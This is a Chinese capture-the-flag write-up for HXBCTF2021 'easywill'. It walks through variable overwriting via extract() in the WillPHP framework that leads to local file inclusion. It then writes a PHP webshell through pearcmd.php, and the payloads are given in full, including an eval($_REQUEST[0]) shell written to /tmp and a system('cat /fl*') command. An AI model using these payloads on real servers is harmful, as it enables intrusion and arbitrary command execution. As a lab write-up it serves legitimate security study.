HXBCTF2021-easywill
知识点概要:变量覆盖、文件包含、利用pearcmd.php写shell(不出网)
首页
官网没有对应版本,遂找作者要了一份
感谢框架作者无念和他的热情帮助
本地调试
把app/controller/IndexController.php
修改为题目的代码,有两个GET参数,那么我们就如下传参调试
?name=testname&value=testvalue
从第6行传参进入
跳转到willphp/helper.php
206行
然后来到willphp/wiphp/View.php
14行,可看到执行完毕后,_vars
数组里存储了一个键值对,键和值分别对应GET请求传入的name参数值和value参数值
然后返回IndexController.php
执行第7行
进入view()函数,来到willphp/helper.php
215行
进入fetch
方法,来到willphp/wiphp/View.php
,16-38行相当于把待渲染的文件路径拼接处理出来
进入39行render
方法,来到willphp/wiphp/Tple.php
的14-16行
进入renderTo方法,关键在于44-45行,可利用变量覆盖实现文件包含
GET传入如下参数时,执行extract($_vars);
后,cfilevalue
会覆盖掉$cfile
原来的值,如下图
?name=cfile&value=cfilevalue
比如在题目中传入?name=cfile&value=/etc/passwd
,就会返回如下内容
那么就可以通过包含pearcmd.php实现getshell
参考:https://blog.csdn.net/rfrder/article/details/121042290
由于环境不出网,Payload:
?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/wa0er.php+-d+man_dir=<?eval($_REQUEST[0]);?>+-s+
需Burp传参,否则尖括号会被URL编码写入文件,导致无法解析成php脚本执行
然后POST传参读取flag
?name=cfile&value=/tmp/wa0er.php
0=system('cat /fl*');
参考
https://blog.csdn.net/weixin_46081055/article/details/124046525
https://blog.csdn.net/weixin_43610673/article/details/121369384